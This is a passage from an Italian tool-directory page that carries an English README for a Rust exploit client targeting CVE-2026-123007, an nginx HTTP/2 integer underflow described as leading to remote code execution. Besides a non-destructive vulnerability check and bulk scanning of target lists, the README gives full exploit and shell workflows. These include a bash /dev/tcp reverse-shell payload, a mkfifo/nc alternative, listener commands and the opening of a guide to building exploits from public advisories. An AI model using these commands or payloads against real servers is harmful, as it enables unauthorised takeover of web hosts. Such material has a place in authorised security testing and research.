Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/arkrwn/nginx2root-cve-2026-123007
Web Vulnerability ScannersVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationNetwork SecurityRemote Access ToolPayload Development
GitHubarkrwn/nginx2root-cve-2026-123007

NGINX2Root-CVE-2026-123007

Research Note: Turning Public Intelligence into a Root Exploit (Case Study: CVE-2026-123007)

321 giorno faNon ancora revisionato
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    352
  • 4

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    291

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Contenuto non disponibile nella lingua richiesta. Visualizzazione della versione inglese.

PoC-NGINX2ROOT

An exploit client for CVE-2026-123007 (an HTTP/2 flow-control integer underflow in nginx that can lead to RCE with the worker's privileges). A single Rust binary. No nginx installation, build, or deployment is required: the tool only talks to a target that already exists (a public nginx server, or a localhost instance you set up yourself).

Only want to prove the CVE? Read PROOF.md. One command, ~14 MiB, no listener/profile/119 GiB: poc --host https://TARGET/ --safe (--proof is an alias). --exploit / --shell below are for the full RCE chain.

Quick start

# 1. build (once)
cargo build --release

# 2. check whether a target is vulnerable — safe, no crash, ~14 MiB
./target/release/poc --host https://target.example --safe

# 3. many targets at once (one URL per line)
./target/release/poc --targets targets.txt --safe

# or several URLs directly
./target/release/poc --hosts https://a.example --hosts https://b.example

With no mode flag, the default is --safe (cheap and safe).

Successful output:

[+] CVE-2026-123007 PROOF: VULNERABLE
    target: https://target.example/   resource: /index.html
    observed: server=Some("nginx/1.31.8") settings=[...] body=896 bytes
    [1] queued-DATA refund      : PASS (2 streams reset with FLOW_CONTROL_ERROR=3)
    [2] public-byte release    : PASS (10 bytes returned)
    [3] underflowed WU guard   : PASS (post-refund PING ACK)
    [4] connection still usable: PASS
    no memory corruption, no crash, no shell

VULNERABLE means the accounting bug was proven on that target. NOT PROVEN means the target did not show it (patched, not HTTP/2, body too small, or a different resource is needed). Exit codes: 0 vulnerable, 4 not proven.

The path can be given in --host or explicitly with --path:

./target/release/poc --host https://target.example/landing --safe   # resource /landing
./target/release/poc --host https://target.example --safe --path /large-file.bin

--safe requires HTTPS + HTTP/2 (ALPN h2) and a resource of 521–8192 bytes that supports Range. The error message reports the computed wave size when the body is outside that range.

Traffic

ModeWhat it provesTrafficTime
--safeaccounting bug + underflowed guard, no corruption~14 MiBseconds
--exploitfull chain, payload dispatched~119 GiBminutes
--shellfull chain + id/whoami/date/uname -a~119 GiBminutes

To answer "is the target vulnerable?", --safe is enough. Hundreds of GB are only used when actually running RCE.

--targets (target list)

One origin per line; empty lines and # comments are ignored:

# example targets.txt
https://target-a.example
https://target-b.example:8443

http://... lines are SKIPped because --safe requires TLS + ALPN h2 (HTTP/1.1-only targets are also SKIP/NOT PROVEN). --targets is only for --safe; for exploitation, run one target at a time with --host.

One result line is printed per target, followed by a summary N tested, M vulnerable.

--exploit and --shell

These require a target that matches an embedded profile (nginx 1.31.8 Debian 13 amd64, glibc 2.41, target CPU with avx512f + avx512vl, 4 workers, 896-byte /index.html). A 1.31.6 profile is also included. Without a match, --safe can still answer the vulnerability question, but the RCE chain will not run.

Choose one workflow, not both (otherwise the port conflicts):

Workflow A — --shell (simplest; the tool listens):

./target/release/poc --host https://target --shell --lhost ATTACKER_IP --yes
# do not run nc/socat: the tool already listens on 0.0.0.0:4444

Workflow B — --exploit + a manual listener:

# macOS / BSD:
nc -lv 4444
# Linux (nc/OpenBSD):
nc -lvnp 4444
# cross-platform alternative: socat TCP-LISTEN:4444,fork -

# dispatch the payload (prints the listener command and payload before the bulk)
./target/release/poc --host https://target.example --exploit \
  --lhost 203.0.113.10 --lport 4444 --yes

--exploit does not listen itself; exit 0 only means the payload was dispatched (DISPATCHED (unconfirmed)). Your listener is the evidence.

Alternatively, let the tool listen and verify the shell:

./target/release/poc --host https://target.example --shell \
  --lhost 203.0.113.10 --lport 4444 --yes
# optional: --interactive to relay stdin/stdout after verification

--shell sends id; whoami; date; uname -a; echo __OK__ and only reports SHELL OK when the output contains uid=. Exit codes: 0 shell verified, 1 stage error, 2 vulnerable but the chain did not finish, 3 dispatched with no shell, 4 not proven.

Default payload: bash -i >& /dev/tcp/LHOST/LPORT 0>&1 (120-byte limit). Without bash, use --cmd, e.g. rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f.

Build

Linux: libssl-dev + pkg-config are required. macOS (Homebrew):

brew install openssl@3 pkg-config
export PKG_CONFIG_PATH="$(brew --prefix openssl@3)/lib/pkgconfig"
cargo build --release

Without PKG_CONFIG_PATH, the openssl crate picks up LibreSSL and fails. The binary is target/release/poc.

Troubleshooting

  • target does not negotiate HTTP/2 (ALPN h2) over TLS — HTTP/2 is off on that listener (or the target is HTTP/1.1-only).
  • safe mode needs a response body of 521..8192 bytes — point --path at a larger static file.
  • cleanup-overcredit oracle failed — the target is patched, or a proxy/CDN is not passing the HTTP/2 frames through unchanged.
  • in-band HTTP/2 fingerprint matches no validated profile — a different build/version; --safe remains valid, --exploit needs a calibrated profile.
  • DISPATCHED, NO SHELL — the payload ran but could not reach --lhost (firewall/NAT), or bash is missing. Use --cmd with an observable oracle.
  • POC_KEYUPDATES — a debug knob that shortens the bootstrap flight; it is not part of a real run.

Developing / validating the tool itself

This section is not needed to test a target. scripts/validate-safe.sh builds nginx 1.31.8 and 1.31.10 from a local source tree and asserts VULNERABLE / NOT PROVEN — it tests the tool, it does not prepare an exploit target. Results on the development host:

  • nginx 1.31.8 → VULNERABLE (exit 0)
  • nginx 1.31.10 (patched) → NOT PROVEN (exit 4)

The full chain needs an x86-64 + AVX512 target; the limits are described in the technical section below. Design notes and implementation plans are kept in the local working tree and are not pushed.

Research log: writing the exploit from a CVE and public sources

This section is a methodology note: how to go from "a critical CVE was announced this morning" to a working checker and exploit, using only public material and the vulnerable software itself. No private bug details and no ready-made exploit code are assumed.

1. Triage the advisory: what is the primitive?

Start with the authoritative records, not with blog posts:

  • CVE-2026-123007 — CWE-191 (integer underflow), CVSS 4.0 9.2, unauthenticated network attacker.
  • F5 advisory K000163926 — affected versions (nginx OSS 1.9.5–1.30.6 and 1.31.0–1.31.8), fixed 1.30.7 / 1.31.9, and the configuration condition (HTTP/2 enabled).
Scarica lo strumento